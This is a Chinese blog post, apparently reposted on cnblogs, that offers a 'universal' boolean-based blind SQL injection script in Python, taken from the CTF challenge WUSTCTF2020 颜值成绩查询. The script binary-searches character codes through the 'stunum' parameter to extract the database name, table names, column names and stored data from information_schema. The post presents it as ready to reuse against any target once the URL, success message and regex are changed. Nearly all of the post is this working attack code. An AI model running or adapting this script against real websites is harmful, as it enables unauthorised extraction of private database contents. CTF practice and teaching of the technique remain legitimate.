首页 > 其他分享 >布尔盲注万能脚本

布尔盲注万能脚本

时间:2023-10-18 12:00:32浏览次数:42  
标签:begin end name res 万能 mid tab 盲注 布尔

来自:

[WUSTCTF2020]颜值成绩查询

脚本如下(python)使用时修改为自己的Success_message,url,以及re的正则规则即可。

import time
import requests
import re
Success_message = "Hi"
def cont(text):
    obj=re.compile(r'<h2 class="mb">(?P<xiao>.*?)</h2>',re.S)
    res = obj.finditer(text)
    for i in res:
        c=(i.group("xiao"))
    return c
 
def database_name():
    db_name = ''
    for i in range(1, 10):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)
            res = requests.get(payload)
            if Success_message in cont(res.text):
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        db_name += chr(mid)
        print("数据库名: " + db_name)
    return db_name
 
 
def table_name():
    name = ''
    for j in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \
                            'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)
            time.sleep(0.2)
            res = requests.get(payload)
            if Success_message in cont(res.text):
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        name += chr(mid)
        print("表名: " + name)
    table_list = name.split(",")
    for tab_name in table_list:
        column_name(tab_name)
 
 
def column_name(tab_name):
    name = ''
    for j in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \
                            'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \
                            '1)) > %d)' % (tab_name, j, mid)
            time.sleep(0.2)
            res = requests.get(payload)
            if Success_message in cont(res.text):
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        name += chr(mid)
        print(("%s表的字段名: " + name) % tab_name)
    column_list = name.split(",")
    for col_name in column_list:
        get_data(tab_name, col_name)
 
 
def get_data(tab_name, col_name):
    data = ''
    for i in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (col_name, tab_name, i, mid)
            time.sleep(0.2)
            res = requests.get(payload)
            if Success_message in cont(res.text):
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        data += chr(mid)
        print(("%s表的%s字段数据: " + data) % (tab_name, col_name))
 
 
if __name__ == '__main__':
    url = input("请输入url:")
    database_name()
    table_name()

 

标签:begin,end,name,res,万能,mid,tab,盲注,布尔
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17771738.html

相关文章

  • HarmonyOS/OpenHarmony原生应用-ArkTS万能卡片组件Radio
    单选框,提供相应的用户交互选择项。该组件从APIVersion8开始支持。无子组件。一、接口Radio(options:{value:string,group:string})从APIversion9开始,该接口支持在ArkTS卡片中使用。参数:二、属性除支持通用属性外,还支持以下属性:三、事件除支持通用事件外,还支持以下事件:四、......
  • Python中的布尔值用途及特点介绍!
    Python中数据类型有很多种,而布尔值就是其中之一,是比较常见的数据类型。Python中bool表示布尔值,布尔值有两个True和Flase,常配合Python的条件语句来使用,一起来看看详细的内容介绍。Python中布尔值是什么?Python中的布尔值是一种基本数据类型,它的取值只有两种True和Flase......
  • HarmonyOS/OpenHarmony原生应用-ArkTS万能卡片组件Toggle
    组件提供勾选框样式、状态按钮样式及开关样式。该组件从APIVersion8开始支持。仅当ToggleType为Button时可包含子组件。一、接口Toggle(options:{type:ToggleType,isOn?:boolean})从APIversion9开始,该接口支持在ArkTS卡片中使用。参数:ToggleType枚举说明从APIversion9......
  • C语言 - 万能指针
    1.什么是万能指针?万能指针其实就是void*类型的指针,而void*指针一般被称为通用指针或叫泛指针。它是C语言关于纯粹地址的一种约定。当某个指针是void型指针时,所指向的对象不属于任何类型。因为void指针不属于任何类型,不可以对其进行算术运算,比如自增,编译器不知道其自增需要增......
  • HarmonyOS/OpenHarmony原生应用-ArkTS万能卡片组件Stack
    堆叠容器,子组件按照顺序依次入栈,后一个子组件覆盖前一个子组件。该组件从APIVersion7开始支持。可以包含子组件。一、接口Stack(value?:{alignContent?:Alignment})从APIversion9开始,该接口支持在ArkTS卡片中使用。二、属性除支持通用属性外,还支持以下属性:三、示例//xxx.e......
  • python基本数据类型之布尔类型
    所有数据都自己的布尔值零值:所有数据都有且仅有一个值的bool值为FLASE,该值为此类型的零值。整型和浮点型数据除了0,布尔值为FLASE,其它全是TRUE。(0为整型和浮点型的零值)字符串、列表、字典除了容器中为空,其布尔值为FLASE,其它全为TRUE。("",[],{}分别为字符串、列表、字典的零值)p......
  • Python 布尔类型
    布尔值表示两个值之一:True(真)或False(假)。布尔值在编程中,您经常需要知道一个表达式是否为True或False。您可以在Python中评估任何表达式,并获得两个答案之一:True或False。当您比较两个值时,表达式会被评估,Python会返回布尔答案:示例print(10>9)print(10==9)print(10<9)......
  • 布尔数据 面的相交
    布尔数据面的相交[email protected]中对面的相交定义如下图所示:三维空间中两个带有GeometrySurface的面Face,当两个Surface之间的距离小于Face中的容差Tolerance,则认为是相交的。一般两个面之间相交得到的是交线,还有一些情况得到的是交点,如下图所示:......
  • 布尔数据 边的相交
    布尔数据边的相交[email protected]在OpenCASCADE中对于边的相交分为三类:边与点,边与边,边与面,边与点的相交已经归结为点与边的相交处理了,边的相交主要处理边与边,边与面的相交。边与边、边与面的相交会引入一个新的数据结构-公共部分CommonPart,用于保存重叠的公共部......
  • 我们公司用了 3 年多的多账号统一登录方案,万能通用,稳的一批!
    作者:VanFan来源:juejin.cn/post/6844904053411938311现在几乎大部分的App都支持使用多个第三方账号进行登录,如:微信、QQ、微博等,我们把此称为多账号统一登陆。而这些账号的表设计,流程设计至关重要,不然后续扩展性贼差。本文不提供任何代码实操,但是梳理一下博主根据我司账号模块......